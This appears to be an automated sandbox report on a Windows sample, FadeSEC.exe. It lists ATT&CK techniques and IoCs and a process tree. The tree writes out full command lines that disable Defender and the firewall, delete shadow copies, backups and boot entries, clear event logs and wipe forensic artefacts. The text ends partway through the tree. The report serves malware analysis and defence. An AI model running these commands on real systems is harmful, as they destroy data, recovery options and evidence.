0844122b393e9f8abdd81296a0d8c891359277185193d238ab9131a0af079570

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	FadeSEC.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

defense_evasion ransomware

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	FadeSEC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	FadeSEC.exe

Clears Windows event logs 1 TTPs 9 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
1928	wevtutil.exe
1104	wevtutil.exe
4808	wevtutil.exe
4856	wevtutil.exe
1680	wevtutil.exe
1380	wevtutil.exe
4204	wevtutil.exe
4444	wevtutil.exe
3508	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	FadeSEC.exe

Modifies boot configuration data using bcdedit 10 IoCs

pid	Process
1292	bcdedit.exe
2264	bcdedit.exe
1140	bcdedit.exe
2732	bcdedit.exe
1852	bcdedit.exe
4480	bcdedit.exe
1188	bcdedit.exe
1784	bcdedit.exe
964	bcdedit.exe
3640	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1636	wbadmin.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
3460	powershell.exe

Looks for VMWare services registry key. 1 TTPs 1 IoCs

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	FadeSEC.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1488	netsh.exe
1044	netsh.exe
2228	netsh.exe
4792	netsh.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
2056	takeown.exe
4796	icacls.exe
3856	takeown.exe
2560	icacls.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3856	takeown.exe
2560	icacls.exe
2056	takeown.exe
4796	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

persistence privilege_escalation

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	FadeSEC.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1532	sc.exe
4848	sc.exe
3184	sc.exe
760	sc.exe
4680	sc.exe
1784	sc.exe
2144	sc.exe
2552	sc.exe
4500	sc.exe
3028	sc.exe
1140	sc.exe
1572	sc.exe
1956	sc.exe
1740	sc.exe
5076	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
312	cmd.exe
1576	cmd.exe
4684	cmd.exe
3908	cmd.exe
2340	cmd.exe
2144	cmd.exe
3480	cmd.exe
3408	cmd.exe
2036	cmd.exe
2960	cmd.exe
2800	cmd.exe
4016	cmd.exe
3276	cmd.exe
3656	cmd.exe
3876	cmd.exe
5112	cmd.exe
1640	cmd.exe
3544	cmd.exe
1248	cmd.exe
2168	cmd.exe
1868	cmd.exe
1000	cmd.exe
1532	cmd.exe
3864	cmd.exe
3952	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1208	vssadmin.exe
1220	vssadmin.exe
3236	vssadmin.exe
1896	vssadmin.exe
5024	vssadmin.exe
3572	vssadmin.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

pid	Process
3952	reg.exe
1760	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeBackupPrivilege	236	vssvc.exe
Token: SeRestorePrivilege	236	vssvc.exe
Token: SeAuditPrivilege	236	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1496	WMIC.exe
Token: SeSecurityPrivilege	1496	WMIC.exe
Token: SeTakeOwnershipPrivilege	1496	WMIC.exe
Token: SeLoadDriverPrivilege	1496	WMIC.exe
Token: SeSystemProfilePrivilege	1496	WMIC.exe
Token: SeSystemtimePrivilege	1496	WMIC.exe
Token: SeProfSingleProcessPrivilege	1496	WMIC.exe
Token: SeIncBasePriorityPrivilege	1496	WMIC.exe
Token: SeCreatePagefilePrivilege	1496	WMIC.exe
Token: SeBackupPrivilege	1496	WMIC.exe
Token: SeRestorePrivilege	1496	WMIC.exe
Token: SeShutdownPrivilege	1496	WMIC.exe
Token: SeDebugPrivilege	1496	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1496	WMIC.exe
Token: SeRemoteShutdownPrivilege	1496	WMIC.exe
Token: SeUndockPrivilege	1496	WMIC.exe
Token: SeManageVolumePrivilege	1496	WMIC.exe
Token: 33	1496	WMIC.exe
Token: 34	1496	WMIC.exe
Token: 35	1496	WMIC.exe
Token: 36	1496	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1496	WMIC.exe
Token: SeSecurityPrivilege	1496	WMIC.exe
Token: SeTakeOwnershipPrivilege	1496	WMIC.exe
Token: SeLoadDriverPrivilege	1496	WMIC.exe
Token: SeSystemProfilePrivilege	1496	WMIC.exe
Token: SeSystemtimePrivilege	1496	WMIC.exe
Token: SeProfSingleProcessPrivilege	1496	WMIC.exe
Token: SeIncBasePriorityPrivilege	1496	WMIC.exe
Token: SeCreatePagefilePrivilege	1496	WMIC.exe
Token: SeBackupPrivilege	1496	WMIC.exe
Token: SeRestorePrivilege	1496	WMIC.exe
Token: SeShutdownPrivilege	1496	WMIC.exe
Token: SeDebugPrivilege	1496	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1496	WMIC.exe
Token: SeRemoteShutdownPrivilege	1496	WMIC.exe
Token: SeUndockPrivilege	1496	WMIC.exe
Token: SeManageVolumePrivilege	1496	WMIC.exe
Token: 33	1496	WMIC.exe
Token: 34	1496	WMIC.exe
Token: 35	1496	WMIC.exe
Token: 36	1496	WMIC.exe
Token: SeSecurityPrivilege	1928	wevtutil.exe
Token: SeBackupPrivilege	1928	wevtutil.exe
Token: SeSecurityPrivilege	1104	wevtutil.exe
Token: SeBackupPrivilege	1104	wevtutil.exe
Token: SeSecurityPrivilege	4808	wevtutil.exe
Token: SeBackupPrivilege	4808	wevtutil.exe
Token: SeSecurityPrivilege	4856	wevtutil.exe
Token: SeBackupPrivilege	4856	wevtutil.exe
Token: SeSecurityPrivilege	1680	wevtutil.exe
Token: SeBackupPrivilege	1680	wevtutil.exe
Token: SeSecurityPrivilege	4204	wevtutil.exe
Token: SeBackupPrivilege	4204	wevtutil.exe
Token: SeSecurityPrivilege	4444	wevtutil.exe
Token: SeBackupPrivilege	4444	wevtutil.exe
Token: SeSecurityPrivilege	1380	wevtutil.exe
Token: SeBackupPrivilege	1380	wevtutil.exe
Token: SeSecurityPrivilege	3508	wevtutil.exe
Token: SeBackupPrivilege	3508	wevtutil.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4056	FadeSEC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4056	FadeSEC.exe
4056	FadeSEC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 3480	4056	FadeSEC.exe	80
PID 3480 wrote to memory of 3460	3480	cmd.exe	82
PID 4056 wrote to memory of 3276	4056	FadeSEC.exe	83
PID 3276 wrote to memory of 2552	3276	cmd.exe	85
PID 3276 wrote to memory of 1532	3276	cmd.exe	86
PID 3276 wrote to memory of 4848	3276	cmd.exe	87
PID 3276 wrote to memory of 760	3276	cmd.exe	88
PID 3276 wrote to memory of 4500	3276	cmd.exe	89
PID 3276 wrote to memory of 4680	3276	cmd.exe	90
PID 3276 wrote to memory of 3028	3276	cmd.exe	91
PID 3276 wrote to memory of 1140	3276	cmd.exe	92
PID 4056 wrote to memory of 3656	4056	FadeSEC.exe	93
PID 3656 wrote to memory of 1488	3656	cmd.exe	95
PID 3656 wrote to memory of 1044	3656	cmd.exe	96
PID 3656 wrote to memory of 2228	3656	cmd.exe	97
PID 3656 wrote to memory of 4792	3656	cmd.exe	98
PID 4056 wrote to memory of 3408	4056	FadeSEC.exe	99
PID 3408 wrote to memory of 1956	3408	cmd.exe	101
PID 3408 wrote to memory of 1784	3408	cmd.exe	180
PID 3408 wrote to memory of 2144	3408	cmd.exe	181
PID 3408 wrote to memory of 3184	3408	cmd.exe	104
PID 3408 wrote to memory of 1572	3408	cmd.exe	105
PID 3408 wrote to memory of 1740	3408	cmd.exe	106
PID 3408 wrote to memory of 5076	3408	cmd.exe	183
PID 3408 wrote to memory of 1760	3408	cmd.exe	108
PID 3408 wrote to memory of 3952	3408	cmd.exe	184
PID 4056 wrote to memory of 3876	4056	FadeSEC.exe	110
PID 3876 wrote to memory of 1208	3876	cmd.exe	112
PID 3876 wrote to memory of 1220	3876	cmd.exe	115
PID 3876 wrote to memory of 3236	3876	cmd.exe	116
PID 3876 wrote to memory of 1896	3876	cmd.exe	117
PID 4056 wrote to memory of 2036	4056	FadeSEC.exe	118
PID 2036 wrote to memory of 1496	2036	cmd.exe	120
PID 4056 wrote to memory of 4684	4056	FadeSEC.exe	122
PID 4684 wrote to memory of 2056	4684	cmd.exe	124
PID 4684 wrote to memory of 4796	4684	cmd.exe	125
PID 4056 wrote to memory of 2960	4056	FadeSEC.exe	126
PID 2960 wrote to memory of 3856	2960	cmd.exe	128
PID 2960 wrote to memory of 2560	2960	cmd.exe	129
PID 4056 wrote to memory of 2800	4056	FadeSEC.exe	130
PID 2800 wrote to memory of 1928	2800	cmd.exe	132
PID 2800 wrote to memory of 1104	2800	cmd.exe	133
PID 2800 wrote to memory of 4808	2800	cmd.exe	134
PID 2800 wrote to memory of 4856	2800	cmd.exe	135
PID 2800 wrote to memory of 1680	2800	cmd.exe	136
PID 2800 wrote to memory of 4204	2800	cmd.exe	137
PID 2800 wrote to memory of 4444	2800	cmd.exe	138
PID 2800 wrote to memory of 1380	2800	cmd.exe	139
PID 2800 wrote to memory of 3508	2800	cmd.exe	140
PID 4056 wrote to memory of 1868	4056	FadeSEC.exe	141
PID 1868 wrote to memory of 4616	1868	cmd.exe	143
PID 4056 wrote to memory of 5112	4056	FadeSEC.exe	144
PID 5112 wrote to memory of 1048	5112	cmd.exe	146
PID 4056 wrote to memory of 3908	4056	FadeSEC.exe	147
PID 3908 wrote to memory of 5024	3908	cmd.exe	149
PID 3908 wrote to memory of 3572	3908	cmd.exe	150
PID 4056 wrote to memory of 1000	4056	FadeSEC.exe	151
PID 1000 wrote to memory of 1636	1000	cmd.exe	153
PID 4056 wrote to memory of 1640	4056	FadeSEC.exe	157
PID 1640 wrote to memory of 1292	1640	cmd.exe	159
PID 4056 wrote to memory of 1532	4056	FadeSEC.exe	160
PID 1532 wrote to memory of 2264	1532	cmd.exe	162
PID 4056 wrote to memory of 2340	4056	FadeSEC.exe	163
PID 2340 wrote to memory of 1140	2340	cmd.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\FadeSEC.exe
"C:\Users\Admin\AppData\Local\Temp\FadeSEC.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Enumerates VirtualBox registry keys
- Looks for VMWare services registry key.
- Writes to the Master Boot Record (MBR)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3460
- C:\Windows\System32\cmd.exe
  cmd.exe /c sc stop WinDefend 2>nul & sc config WinDefend start=disabled 2>nul & sc stop SecurityHealthService 2>nul & sc config SecurityHealthService start=disabled 2>nul & sc stop WdNisSvc 2>nul & sc config WdNisSvc start=disabled 2>nul & sc stop Sense 2>nul & sc config Sense start=disabled 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2552
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:1532
- - C:\Windows\system32\sc.exe
    sc stop SecurityHealthService
    3⤵
    - Launches sc.exe
    PID:4848
- - C:\Windows\system32\sc.exe
    sc config SecurityHealthService start=disabled
    3⤵
    - Launches sc.exe
    PID:760
- - C:\Windows\system32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:4500
- - C:\Windows\system32\sc.exe
    sc config WdNisSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:4680
- - C:\Windows\system32\sc.exe
    sc stop Sense
    3⤵
    - Launches sc.exe
    PID:3028
- - C:\Windows\system32\sc.exe
    sc config Sense start=disabled
    3⤵
    - Launches sc.exe
    PID:1140
- C:\Windows\System32\cmd.exe
  cmd.exe /c netsh advfirewall set allprofiles state off 2>nul & netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound 2>nul & netsh advfirewall set allprofiles settings inboundusernotification disable 2>nul & netsh advfirewall set allprofiles settings remotemanagement disable 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1488
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1044
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles settings inboundusernotification disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2228
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles settings remotemanagement disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4792
- C:\Windows\System32\cmd.exe
  cmd.exe /c sc stop wuauserv 2>nul & sc config wuauserv start=disabled 2>nul & sc stop UsoSvc 2>nul & sc config UsoSvc start=disabled 2>nul & sc stop BITS 2>nul & sc stop DoSvc 2>nul & sc config DoSvc start=disabled 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1956
- - C:\Windows\system32\sc.exe
    sc config wuauserv start=disabled
    3⤵
    - Launches sc.exe
    PID:1784
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2144
- - C:\Windows\system32\sc.exe
    sc config UsoSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:3184
- - C:\Windows\system32\sc.exe
    sc stop BITS
    3⤵
    - Launches sc.exe
    PID:1572
- - C:\Windows\system32\sc.exe
    sc stop DoSvc
    3⤵
    - Launches sc.exe
    PID:1740
- - C:\Windows\system32\sc.exe
    sc config DoSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:5076
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1760
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3952
- C:\Windows\System32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet /for=C: & vssadmin delete shadows /all /quiet /for=D: & vssadmin delete shadows /all /quiet /for=E: & vssadmin delete shadows /all /quiet /for=F:
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet /for=C:
    3⤵
    - Interacts with shadow copies
    PID:1208
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet /for=D:
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1220
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet /for=E:
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3236
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet /for=F:
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1896
- C:\Windows\System32\cmd.exe
  cmd.exe /c wmic.exe /Namespace:\\root\default Path SystemRestore Call Disable "" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic.exe /Namespace:\\root\default Path SystemRestore Call Disable ""
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- C:\Windows\System32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\sru\* /r /d y 2>nul & icacls C:\Windows\System32\sru\* /grant Administrators:F /t /q 2>nul & del /f /q C:\Windows\System32\sru\*.dat 2>nul & del /f /q C:\Windows\System32\sru\*.log 2>nul & del /f /q C:\Windows\System32\sru\*.blf 2>nul & del /f /q C:\Windows\System32\sru\*.regtrans-ms 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\sru\* /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2056
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\sru\* /grant Administrators:F /t /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4796
- C:\Windows\System32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\AppCompat\Programs\Amcache.hve /a /r /d y 2>nul & icacls C:\Windows\AppCompat\Programs\Amcache.hve /grant Administrators:F /t /q 2>nul & del /f /q /s C:\Windows\AppCompat\Programs\Amcache.hve* 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\AppCompat\Programs\Amcache.hve /a /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3856
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\AppCompat\Programs\Amcache.hve /grant Administrators:F /t /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2560
- C:\Windows\System32\cmd.exe
  cmd.exe /c wevtutil cl System & wevtutil cl Security & wevtutil cl Application & wevtutil cl Setup & wevtutil cl Windows PowerShell & wevtutil cl Microsoft-Windows-Windows Defender/Operational & wevtutil cl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational & wevtutil cl Microsoft-Windows-TaskScheduler/Operational & wevtutil cl Microsoft-Windows-Sysmon/Operational 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1104
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4808
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4856
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Windows PowerShell
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1680
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Microsoft-Windows-Windows Defender/Operational
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4444
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Microsoft-Windows-TaskScheduler/Operational
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1380
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Microsoft-Windows-Sysmon/Operational
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- C:\Windows\System32\cmd.exe
  cmd.exe /c fsutil usn deletejournal /D C:\
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:4616
- C:\Windows\System32\cmd.exe
  cmd.exe /c fsutil usn deletejournal /D F:\
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1048
- C:\Windows\System32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet & vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5024
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
    3⤵
    - Interacts with shadow copies
    PID:3572
- C:\Windows\System32\cmd.exe
  cmd.exe /c wbadmin delete catalog -quiet 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /delete {default} /f 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /delete {current} /f 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\system32\bcdedit.exe
